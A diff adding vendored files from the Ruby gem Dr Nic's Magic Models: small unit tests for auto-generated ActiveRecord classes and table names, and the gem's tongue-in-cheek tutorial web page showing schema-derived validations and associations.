vendor/gems/dr_nic_magic_models-0.9.2/test/invisible_model_classes_test.rb
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
require 'abstract_unit'
|
||||
|
||||
class InvisibleModelClassesTest < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
|
||||
end
|
||||
|
||||
def test_available
|
||||
assert_not_nil Group
|
||||
assert_not_nil FunUser
|
||||
assert_not_nil GroupMembership
|
||||
assert_not_nil GroupTag, "Could not find GroupTag with singularized table name 'GroupTag'"
|
||||
end
|
||||
|
||||
def test_table_names
|
||||
assert_equal 'groups', Group.table_name
|
||||
assert_equal 'fun_users', FunUser.table_name
|
||||
assert_equal 'group_memberships', GroupMembership.table_name
|
||||
assert_equal 'group_tag', GroupTag.table_name
|
||||
end
|
||||
|
||||
end
|
||||
20
vendor/gems/dr_nic_magic_models-0.9.2/test/magic_module_test.rb
vendored
Normal file
20
vendor/gems/dr_nic_magic_models-0.9.2/test/magic_module_test.rb
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
require 'abstract_unit'
|
||||
|
||||
module MagicGroup
|
||||
magic_module :table_name_prefix => 'group_'
|
||||
end
|
||||
|
||||
class MagicModuleTest < Test::Unit::TestCase
|
||||
|
||||
def setup
|
||||
|
||||
end
|
||||
|
||||
def test_table_prefix
|
||||
assert_nothing_thrown { MagicGroup::Membership }
|
||||
assert_equal('group_memberships', MagicGroup::Membership.table_name)
|
||||
assert_nothing_thrown { MagicGroup::Tag }
|
||||
assert_equal('group_tag', MagicGroup::Tag.table_name)
|
||||
end
|
||||
|
||||
end
|
||||
20
vendor/gems/dr_nic_magic_models-0.9.2/test/test_existing_model.rb
vendored
Normal file
20
vendor/gems/dr_nic_magic_models-0.9.2/test/test_existing_model.rb
vendored
Normal file
@@ -0,0 +1,20 @@
|
||||
require 'abstract_unit'
|
||||
require 'pp'
|
||||
|
||||
module TestBed
|
||||
class Group < ActiveRecord::Base
|
||||
generate_validations
|
||||
end
|
||||
end
|
||||
|
||||
class TestExistingModel < Test::Unit::TestCase
|
||||
# fixtures :fun_users, :groups, :group_memberships, :group_tag
|
||||
|
||||
def setup
|
||||
create_fixtures :fun_users, :groups, :group_memberships, :group_tag
|
||||
end
|
||||
|
||||
def test_valid
|
||||
assert(!TestBed::Group.new.valid?)
|
||||
end
|
||||
end
|
||||
404
vendor/gems/dr_nic_magic_models-0.9.2/website/index.html
vendored
Normal file
404
vendor/gems/dr_nic_magic_models-0.9.2/website/index.html
vendored
Normal file
@@ -0,0 +1,404 @@
|
||||
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
|
||||
"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
|
||||
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
|
||||
<head>
|
||||
<link rel="stylesheet" href="stylesheets/screen.css" type="text/css" media="screen" />
|
||||
<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />
|
||||
<title>
|
||||
Dr Nic’s Magic Models
|
||||
</title>
|
||||
<script src="javascripts/rounded_corners_lite.inc.js" type="text/javascript"></script>
|
||||
<style>
|
||||
|
||||
</style>
|
||||
<script type="text/javascript" src="version-raw.js"></script>
|
||||
<script type="text/javascript">
|
||||
window.onload = function() {
|
||||
settings = {
|
||||
tl: { radius: 10 },
|
||||
tr: { radius: 10 },
|
||||
bl: { radius: 10 },
|
||||
br: { radius: 10 },
|
||||
antiAlias: true,
|
||||
autoPad: true,
|
||||
validTags: ["div"]
|
||||
}
|
||||
var versionBox = new curvyCorners(settings, document.getElementById("version"));
|
||||
versionBox.applyCornersToAll();
|
||||
|
||||
document.getElementById("version_num").innerHTML = version;
|
||||
}
|
||||
</script>
|
||||
</head>
|
||||
<body>
|
||||
<div id="main">
|
||||
<p><a href="/">↩ More Magic</a></p>
|
||||
|
||||
<div id="version" class="clickable" onclick='document.location = "http://rubyforge.org/projects/magicmodels"; return false'>
|
||||
Get Version
|
||||
<a id="version_num" href="http://rubyforge.org/projects/magicmodels" class="numbers"></a>
|
||||
</div>
|
||||
<h1>Dr Nic’s Magic Models</h1>
|
||||
<p>If you’ve used Ruby on Rails you’ll have written at least one model class like this:</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">Person</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="ident">has_many</span> <span class="symbol">:memberships</span>
|
||||
<span class="ident">has_many</span> <span class="symbol">:groups</span><span class="punct">,</span> <span class="symbol">:through</span> <span class="punct">=></span> <span class="symbol">:memberships</span>
|
||||
<span class="ident">belongs_to</span> <span class="symbol">:family</span>
|
||||
<span class="ident">validates_presence_of</span> <span class="symbol">:firstname</span><span class="punct">,</span> <span class="symbol">:lastname</span><span class="punct">,</span> <span class="symbol">:email</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>A few minutes later you’ll have wondered to yourself,</p>
|
||||
|
||||
|
||||
<blockquote>
|
||||
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
|
||||
commands if all the data is in the database schema?
|
||||
</blockquote>
|
||||
|
||||
<p>Now, for the very first time, your classes can look like this:</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">Person</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>or, if you are lazy…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">Person</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span><span class="punct">;</span> <span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>or, if you read right to the end of this page, this…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="comment"># Go fish.</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>Magic and mystery abound. All for you. Impress your friends, amaze your mother.</p>
|
||||
|
||||
|
||||
<p><span class="caps">NOTE</span>: The gratuitous use of <strong>Dr Nic’s</strong> in the name should only enhance the mystical magikery,
|
||||
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
|
||||
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
|
||||
if Harry were 32 and better dressed.</p>
|
||||
|
||||
|
||||
<h2>Installation</h2>
|
||||
|
||||
|
||||
To install the Dr Nic’s Magic Models gem you can run the following command to
|
||||
fetch the gem remotely from RubyForge:
|
||||
<pre>
|
||||
gem install dr_nic_magic_models
|
||||
</pre>
|
||||
|
||||
<p>or <a href="http://rubyforge.org/projects/magicmodels">download the gem manually</a> and
|
||||
run the above command in the download directory.</p>
|
||||
|
||||
|
||||
<p>Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
|
||||
line into your script (use <code>config/environment.rb</code> for your Rails apps):</p>
|
||||
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
<p>Your application is now blessed with magical mystery.</p>
|
||||
|
||||
|
||||
<h2>David Copperfield eat your Ruby-crusted heart out</h2>
|
||||
|
||||
|
||||
<p>Let’s demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="ident">rails</span> <span class="ident">magic_show</span> <span class="punct">-</span><span class="ident">d</span> <span class="ident">sqlite3</span>
|
||||
<span class="ident">cd</span> <span class="ident">magic_show</span>
|
||||
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Person</span>
|
||||
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Group</span>
|
||||
<span class="ident">ruby</span> <span class="ident">script</span><span class="punct">/</span><span class="ident">generate</span> <span class="ident">model</span> <span class="constant">Membership</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>Update the migration <code>001_create_people.rb</code> with:
|
||||
<pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">CreatePeople</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Migration</span>
|
||||
<span class="keyword">def </span><span class="method">self.up</span>
|
||||
<span class="ident">create_table</span> <span class="symbol">:people</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:firstname</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:lastname</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:email</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">end</span>
|
||||
|
||||
<span class="keyword">def </span><span class="method">self.down</span>
|
||||
<span class="ident">drop_table</span> <span class="symbol">:people</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
|
||||
with:
|
||||
<pre class="syntax">
|
||||
<span class="ident">create_table</span> <span class="symbol">:groups</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:name</span><span class="punct">,</span> <span class="symbol">:string</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:description</span><span class="punct">,</span> <span class="symbol">:string</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>and <code>003_create_memberships.rb</code> with:
|
||||
<pre class="syntax">
|
||||
<span class="ident">create_table</span> <span class="symbol">:memberships</span> <span class="keyword">do</span> <span class="punct">|</span><span class="ident">t</span><span class="punct">|</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:person_id</span><span class="punct">,</span> <span class="symbol">:integer</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="ident">t</span><span class="punct">.</span><span class="ident">column</span> <span class="symbol">:group_id</span><span class="punct">,</span> <span class="symbol">:integer</span><span class="punct">,</span> <span class="symbol">:null</span> <span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
And run your migrations to create the three tables:
|
||||
<pre>
|
||||
rake db:migrate
|
||||
</pre>
|
||||
|
||||
<h3>And now for some <a href="http://en.wikipedia.org/wiki/List_of_conjuring_terms">woofle dust</a> ...</h3>
|
||||
|
||||
|
||||
<p>At the end of <code>config/environment.rb</code> add the following line:</p>
|
||||
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
<p>Now, let’s do a magic trick. First, let’s check our model classes (<code>app/models/person.rb</code> etc):</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">Person</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">class </span><span class="class">Group</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">class </span><span class="class">Membership</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>Nothing suspicious here. We have no validations and no associations. Just some plain old model classes.</p>
|
||||
|
||||
|
||||
<p><span class="caps">UPDATE</span>: To turn on magic validations, you now need to invoke <code>generate_validations</code> on defined classes. So, update your model classes:</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="keyword">class </span><span class="class">Person</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="ident">generate_validations</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">class </span><span class="class">Group</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="ident">generate_validations</span>
|
||||
<span class="keyword">end</span>
|
||||
<span class="keyword">class </span><span class="class">Membership</span> <span class="punct"><</span> <span class="constant">ActiveRecord</span><span class="punct">::</span><span class="constant">Base</span>
|
||||
<span class="ident">generate_validations</span>
|
||||
<span class="keyword">end</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>For this trick, we’ll need an ordinary console session. Any old one lying around the house will do.</p>
|
||||
|
||||
|
||||
<pre>
|
||||
ruby script/console
|
||||
</pre>
|
||||
|
||||
<p>Now a normal model class is valid until you explicitly add <code>validates_xxx</code> commands.
|
||||
With Dr Nic’s Magic Models:</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">new</span>
|
||||
<span class="punct">=></span> <span class="comment">#<Person:0x393e0f8 @attributes={"lastname"=>"", "firstname"=>"", "email"=>""}, @new_record=true></span>
|
||||
<span class="ident">person</span><span class="punct">.</span><span class="ident">valid?</span>
|
||||
<span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="ident">person</span><span class="punct">.</span><span class="ident">errors</span>
|
||||
<span class="punct">=></span> <span class="comment">#<ActiveRecord::Errors:0x3537b38 @errors={</span>
|
||||
<span class="punct">"</span><span class="string">firstname</span><span class="punct">"=>["</span><span class="string">can't be blank</span><span class="punct">",</span> <span class="punct">"</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">"],</span>
|
||||
<span class="punct">"</span><span class="string">lastname</span><span class="punct">"=>["</span><span class="string">can't be blank</span><span class="punct">",</span> <span class="punct">"</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">"],</span>
|
||||
<span class="punct">"</span><span class="string">email</span><span class="punct">"=>["</span><span class="string">can't be blank</span><span class="punct">",</span> <span class="punct">"</span><span class="string">is too long (maximum is 255 characters)</span><span class="punct">"]},</span>
|
||||
<span class="attribute">@base</span><span class="punct">=</span><span class="comment">#<Person:0x3538bf0 @errors=#<ActiveRecord::Errors:0x3537b38 ...>, @new_record=true, </span>
|
||||
<span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">lastname</span><span class="punct">"=></span><span class="constant">nil</span><span class="punct">,</span> <span class="punct">"</span><span class="string">firstname</span><span class="punct">"=></span><span class="constant">nil</span><span class="punct">,</span> <span class="punct">"</span><span class="string">email</span><span class="punct">"=></span><span class="constant">nil</span><span class="punct">}>></span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p><strong>Kapoow!</strong> Instant validation! (NOTE: not as instant as it used to be – remember – you need to call <code>generate_validations</code> on each class as required)</p>
|
||||
|
||||
|
||||
<p>Because you specified the three columns as <code>:null => false</code>,
|
||||
your ActiveRecord models will now automagically generated <code>validates_presence_of</code>
|
||||
for each non-null field, plus several other validations (since version 0.8.0).</p>
|
||||
|
||||
|
||||
<p>Ok, we’re just warming up.</p>
|
||||
|
||||
|
||||
<p>Your models normally require association commands (<code>has_many</code>, <code>belongs_to</code>, etc, as
|
||||
demonstrated above) to have the brilliantly simple support that Rails/ActiveRecords are known for.</p>
|
||||
|
||||
|
||||
<p>Let’s just watch what Dr Nic’s Magic Models can do without any effort at all…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:firstname</span> <span class="punct">=></span> <span class="punct">"</span><span class="string">Nic</span><span class="punct">",</span> <span class="symbol">:lastname</span> <span class="punct">=></span> <span class="punct">"</span><span class="string">Williams</span><span class="punct">",</span> <span class="symbol">:email</span> <span class="punct">=></span> <span class="punct">"</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">")</span>
|
||||
<span class="ident">group</span> <span class="punct">=</span> <span class="constant">Group</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:name</span> <span class="punct">=></span> <span class="punct">"</span><span class="string">Magic Models Forum</span><span class="punct">",</span> <span class="symbol">:description</span> <span class="punct">=></span> <span class="punct">"</span><span class="string">http://groups.google.com/magicmodels</span><span class="punct">")</span>
|
||||
<span class="ident">membership</span> <span class="punct">=</span> <span class="constant">Membership</span><span class="punct">.</span><span class="ident">create</span><span class="punct">(</span><span class="symbol">:person</span> <span class="punct">=></span> <span class="ident">person</span><span class="punct">,</span> <span class="symbol">:group</span> <span class="punct">=></span> <span class="ident">group</span><span class="punct">)</span>
|
||||
<span class="ident">person</span><span class="punct">.</span><span class="ident">memberships</span><span class="punct">.</span><span class="ident">length</span>
|
||||
<span class="punct">=></span> <span class="number">1</span>
|
||||
<span class="ident">membership</span><span class="punct">.</span><span class="ident">person</span>
|
||||
<span class="punct">=></span> <span class="punct"><</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x38898e8</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">lastname</span><span class="punct">"=>"</span><span class="string">Williams</span><span class="punct">",</span> <span class="punct">"</span><span class="string">firstname</span><span class="punct">"=>"</span><span class="string">Nic</span><span class="punct">",</span>
|
||||
<span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">email</span><span class="punct">"=>"</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">"}></span>
|
||||
<span class="ident">group</span><span class="punct">.</span><span class="ident">memberships</span>
|
||||
<span class="punct">=></span> <span class="punct">[<</span><span class="constant">Membership</span><span class="punct">:</span><span class="number">0x3c8cd70</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">group_id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">person_id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">"}>]</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>That final association trick is a ripper. Automatic generation of <code>has_many :through</code> associations…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="punct">>></span> <span class="ident">person</span><span class="punct">.</span><span class="ident">groups</span>
|
||||
<span class="punct">=></span> <span class="punct">[<</span><span class="constant">Group</span><span class="punct">:</span><span class="number">0x39047e0</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">name</span><span class="punct">"=>"</span><span class="string">Magic Models Forum</span><span class="punct">",</span> <span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">description</span><span class="punct">"=></span><span class="constant">nil</span><span class="punct">}>]</span>
|
||||
<span class="punct">>></span> <span class="ident">group</span><span class="punct">.</span><span class="ident">people</span>
|
||||
<span class="punct">=></span> <span class="punct">[<</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x3c33580</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">lastname</span><span class="punct">"=>"</span><span class="string">Williams</span><span class="punct">",</span> <span class="punct">"</span><span class="string">firstname</span><span class="punct">"=>"</span><span class="string">Nic</span><span class="punct">",</span>
|
||||
<span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">email</span><span class="punct">"=>"</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">"}>]</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<h3>Drum roll…</h3>
|
||||
|
||||
|
||||
<p>Ladies and gentlemen. For my final feat of magical mastery, I’ll ask you to do
|
||||
something you’ve never done before. This illusion is akin to the <a href="http://www.toytent.com/Posters/985.html">floating lady</a>
|
||||
illusion that has been passed down through generations of magicians.</p>
|
||||
|
||||
|
||||
<p>Exit your console session.</p>
|
||||
|
||||
|
||||
<span class="caps">DELETE</span> your three model classes: <code>person.rb, group.rb, and membership.rb</code> from the
|
||||
<code>app/models</code> folder. (You can always get them back via the model generator… be fearless!)
|
||||
|
||||
<pre>rm app/models/*.rb</pre>
|
||||
|
||||
<p>Re-launch your console.</p>
|
||||
|
||||
|
||||
<p><strong>drums are still rolling…</strong></p>
|
||||
|
||||
|
||||
<p>Be prepared to applaud loudly…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="punct">>></span> <span class="constant">Person</span>
|
||||
<span class="punct">=></span> <span class="constant">Person</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<p>You applaud loudly, but watch for more…</p>
|
||||
|
||||
|
||||
<p><pre class="syntax">
|
||||
<span class="punct">>></span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">new</span><span class="punct">.</span><span class="ident">valid?</span>
|
||||
<span class="punct">=></span> <span class="constant">false</span>
|
||||
<span class="punct">>></span> <span class="ident">person</span> <span class="punct">=</span> <span class="constant">Person</span><span class="punct">.</span><span class="ident">find</span><span class="punct">(</span><span class="number">1</span><span class="punct">)</span>
|
||||
<span class="punct">=></span> <span class="punct"><</span><span class="constant">Person</span><span class="punct">:</span><span class="number">0x3958930</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">lastname</span><span class="punct">"=>"</span><span class="string">Williams</span><span class="punct">",</span> <span class="punct">"</span><span class="string">firstname</span><span class="punct">"=>"</span><span class="string">Nic</span><span class="punct">",</span>
|
||||
<span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">email</span><span class="punct">"=>"</span><span class="string">drnicwilliams@gmail.com</span><span class="punct">"}></span>
|
||||
<span class="punct">>></span> <span class="ident">person</span><span class="punct">.</span><span class="ident">valid?</span>
|
||||
<span class="punct">=></span> <span class="constant">true</span>
|
||||
<span class="punct">>></span> <span class="ident">person</span><span class="punct">.</span><span class="ident">memberships</span>
|
||||
<span class="punct">=></span> <span class="punct">[<</span><span class="constant">Membership</span><span class="punct">:</span><span class="number">0x393a000</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">group_id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">person_id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">"}>]</span>
|
||||
<span class="punct">>></span> <span class="ident">person</span><span class="punct">.</span><span class="ident">groups</span>
|
||||
<span class="punct">=></span> <span class="punct">[<</span><span class="constant">Group</span><span class="punct">:</span><span class="number">0x390df60</span> <span class="attribute">@attributes</span><span class="punct">={"</span><span class="string">name</span><span class="punct">"=>"</span><span class="string">Magic Models Forum</span><span class="punct">",</span> <span class="punct">"</span><span class="string">id</span><span class="punct">"=>"</span><span class="string">1</span><span class="punct">",</span> <span class="punct">"</span><span class="string">description</span><span class="punct">"=></span><span class="constant">nil</span><span class="punct">}>]</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<h3>Tada!</h3>
|
||||
|
||||
|
||||
<p>The end.</p>
|
||||
|
||||
|
||||
<h3>Use modules to scope your magic</h3>
|
||||
|
||||
|
||||
<p>Only want to pick up tables starting with <code>blog_</code>?</p>
|
||||
|
||||
|
||||
<p><pre class="syntax"><span class="keyword">module </span><span class="module">Blog</span>
|
||||
<span class="ident">magic_module</span> <span class="symbol">:table_name_prefix</span> <span class="punct">=></span> <span class="punct">'</span><span class="string">blog_</span><span class="punct">'</span>
|
||||
<span class="keyword">end</span>
|
||||
|
||||
<span class="constant">Blog</span><span class="punct">::</span><span class="constant">Post</span><span class="punct">.</span><span class="ident">table_name</span> <span class="comment"># => 'blog_posts'</span>
|
||||
</pre></p>
|
||||
|
||||
|
||||
<h2>Dr Nic’s Blog</h2>
|
||||
|
||||
|
||||
<p><a href="http://www.drnicwilliams.com">http://www.drnicwilliams.com</a> – for future announcements and
|
||||
other stories and things.</p>
|
||||
|
||||
|
||||
<h2>Articles about Magic Models</h2>
|
||||
|
||||
|
||||
<ul>
|
||||
<li><a href="http://drnicwilliams.com/2006/08/07/ann-dr-nics-magic-models/">Announcement</a></li>
|
||||
<li><a href="http://drnicwilliams.com/2006/08/10/bts-magic-models-class-creation/"><span class="caps">BTS</span> – Class creation</a></li>
|
||||
</ul>
|
||||
|
||||
|
||||
<h2>Forum</h2>
|
||||
|
||||
|
||||
<p><a href="http://groups.google.com/group/magicmodels">http://groups.google.com/group/magicmodels</a></p>
|
||||
|
||||
|
||||
<h2>Licence</h2>
|
||||
|
||||
|
||||
<p>This code is free to use under the terms of the <span class="caps">MIT</span> licence.</p>
|
||||
|
||||
|
||||
<h2>Contact</h2>
|
||||
|
||||
|
||||
<p>Comments are welcome. Send an email to <a href="mailto:drnicwilliams@gmail.com">Dr Nic Williams</a>
|
||||
or via his blog at <a href="http://www.drnicwilliams.com">http://www.drnicwilliams.com</a></p>
|
||||
<p class="coda">
|
||||
<a href="mailto:drnicwilliams@gmail.com">Dr Nic</a>, 30th April 2007<br>
|
||||
Theme extended from <a href="http://rb2js.rubyforge.org/">Paul Battley</a>
|
||||
</p>
|
||||
</div>
|
||||
<script src="http://www.google-analytics.com/urchin.js" type="text/javascript">
|
||||
</script>
|
||||
<script type="text/javascript">
|
||||
_uacct = "UA-567811-3";
|
||||
urchinTracker();
|
||||
</script>
|
||||
</body>
|
||||
</html>
|
||||
291
vendor/gems/dr_nic_magic_models-0.9.2/website/index.txt
vendored
Normal file
291
vendor/gems/dr_nic_magic_models-0.9.2/website/index.txt
vendored
Normal file
@@ -0,0 +1,291 @@
|
||||
h1. Dr Nic's Magic Models
|
||||
|
||||
If you've used Ruby on Rails you'll have written at least one model class like this:
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base
|
||||
has_many :memberships
|
||||
has_many :groups, :through => :memberships
|
||||
belongs_to :family
|
||||
validates_presence_of :firstname, :lastname, :email
|
||||
end
|
||||
</pre>
|
||||
|
||||
A few minutes later you'll have wondered to yourself,
|
||||
|
||||
<blockquote>
|
||||
Why do I have write my own <code>has_many</code>, <code>belongs_to</code>, and <code>validates_presence_of</code>
|
||||
commands if all the data is in the database schema?
|
||||
</blockquote>
|
||||
|
||||
Now, for the very first time, your classes can look like this:
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base
|
||||
end
|
||||
</pre>
|
||||
|
||||
or, if you are lazy...
|
||||
|
||||
<pre syntax='ruby'>
|
||||
class Person < ActiveRecord::Base; end
|
||||
</pre>
|
||||
|
||||
or, if you read right to the end of this page, this...
|
||||
|
||||
<pre syntax='ruby'>
|
||||
# Go fish.
|
||||
</pre>
|
||||
|
||||
Magic and mystery abound. All for you. Impress your friends, amaze your mother.
|
||||
|
||||
NOTE: The gratuitous use of *Dr Nic's* in the name should only enhance the mystical magikery,
|
||||
for magic needs a magician; and I love magic. I always wanted to create my own magic trick.
|
||||
So I shall be the magician for the sake of magic itself. I look a bit like Harry Potter too,
|
||||
if Harry were 32 and better dressed.
|
||||
|
||||
h2. Installation
|
||||
|
||||
To install the Dr Nic's Magic Models gem you can run the following command to
|
||||
fetch the gem remotely from RubyForge:
|
||||
<pre>
|
||||
gem install dr_nic_magic_models
|
||||
</pre>
|
||||
|
||||
or "download the gem manually":http://rubyforge.org/projects/magicmodels and
|
||||
run the above command in the download directory.
|
||||
|
||||
Now you need to <code>require</code> the gem into your Ruby/Rails app. Insert the following
|
||||
line into your script (use <code>config/environment.rb</code> for your Rails apps):
|
||||
|
||||
<pre>
|
||||
require 'dr_nic_magic_models'
|
||||
</pre>
|
||||
|
||||
Your application is now blessed with magical mystery.
|
||||
|
||||
h2. David Copperfield eat your Ruby-crusted heart out
|
||||
|
||||
Let's demonstrate the magical mystery in all its full-stage glory. Create a Ruby on Rails app (example uses sqlite3, but use your favourite databas):
|
||||
|
||||
<pre syntax="ruby">
|
||||
rails magic_show -d sqlite3
|
||||
cd magic_show
|
||||
ruby script/generate model Person
|
||||
ruby script/generate model Group
|
||||
ruby script/generate model Membership
|
||||
</pre>
|
||||
|
||||
Update the migration <code>001_create_people.rb</code> with:
|
||||
<pre syntax="ruby">
|
||||
class CreatePeople < ActiveRecord::Migration
|
||||
def self.up
|
||||
create_table :people do |t|
|
||||
t.column :firstname, :string, :null => false
|
||||
t.column :lastname, :string, :null => false
|
||||
t.column :email, :string, :null => false
|
||||
end
|
||||
end
|
||||
|
||||
def self.down
|
||||
drop_table :people
|
||||
end
|
||||
end
|
||||
</pre>
|
||||
|
||||
Similarly, update the <code>def self.up</code> method of <code>002_create_groups.rb</code>
|
||||
with:
|
||||
